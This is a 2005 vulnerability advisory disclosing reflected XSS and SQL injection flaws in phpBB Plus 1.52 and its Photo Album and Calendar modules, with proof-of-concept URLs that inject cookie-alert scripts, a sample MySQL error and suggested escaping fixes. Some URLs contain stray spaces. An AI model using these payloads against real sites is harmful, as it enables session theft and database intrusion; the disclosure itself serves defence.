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phpBB Plus v1.52 multiple Sql injection and XSS vulns in phpBB Plus

Multiple Sql injection and XSS vulnerabilities in phpBB Plus v.1.52 and below and some of its modules.

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Severity: Medium
Title: Multiple Sql injection and XSS vulnerabilities in phpBB Plus v.1.52 and below and some of its modules.
Date: 13/04/2005

Vendor: PhpBB2 Plus and Smartor
Vendor Website:, 
Summary: There are, multiple sql injection and xss vulnerabilities in phpbb plus v.1.52 and below and some of its modules..

Proof of Concept Exploits: 

PhpBB Plus v.1.52 and below
http://localhost/groupcp.php?g=881&%3bsid='%22%3E%3Cscript %3Ealert(document.cookie)%3C/script%3E
Pops cookie

http://localhost/index.php?c=1&%3bsid='%22%3E%3Cscript%3Eal ert(document.cookie)%3C/script%3E
Pops cookie

http://localhost/index.php?c='%22%3E%3Cscript%3Ealert( okie)%3C/script%3E&%3bsid=5e4b2554e73f8ca07f348b5f68c85217
Pops cookie

http://localhost/index.php?mark='%22%3E%3Cscript%3Ealert(docume nt.cookie)%3C/script%3E&%3bsid=5e4b2554e73f8ca07f348b5f68c85217
Pops cookie

http://localhost/portal.php?article=0&%3bsid='%22%3E%3Cscript %3Ealert(document.cookie)%3C/script%3E
Pops cookie

http://localhost/portal.php?article='%22%3E%3Cscript%3Ealert(docum ent.cookie)%3C/script%3E&%3bsid=2fb087b5e3c7098d0e48a76a9c67cf59
Pops cookie

http://localhost/viewforum.php?f=1&%3bsid='%22%3E%3Cscript% 3Ealert(document.cookie)%3C/script%3E
Pops cookie

http://localhost/viewtopic.php?p=58834&%3bsid='%22%3E%3Cscr ipt%3Ealert(document.cookie)%3C/script%3E
Pops cookie

Photo Album v2.0.53

http://localhost/album_search.php?mode='SQL_INJECTION&search=d crab


SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'LIKE '%\'SQL_INJECTION%' AND p.pic_cat_id = c.cat_id OR p.pic_c

SELECT p.pic_id, p.pic_title, p.pic_desc, p.pic_user_id, p.pic_username, p.pic_time, p.pic_cat_id, p.pic_approval, c.cat_id, c.cat_title FROM phpbb_album AS p,phpbb_album_cat AS c WHERE p.pic_approval = 1 AND LIKE '%\'SQL_INJECTION%' AND p.pic_cat_id = c.cat_id OR p.pic_cat_id = 0 AND p.pic_approval = 1 AND LIKE '%\'SQL_INJECTION%' ORDER BY p.pic_time DESC

Line : 105
File : album_search.php

http://localhost/album_cat.php?cat_id=5&%3bsid='%22%3E%3Cs cript%3Ealert(document.cookie)%3C/script%3E
Pops cookie

http://localhost/album_comment.php?pic_id=224&%3bsid='%22% 3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie

Calender MOD
http://localhost/calendar_scheduler.php?d=1113174000&mode=&start= '"><script>alert(document.cookie)</script>&%3bsid=d32836b8178e5d62b2b173ed177e4b0d
Pops cookie

Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.

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These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, or Lookout for my soon to come out book on Secure coding with php.

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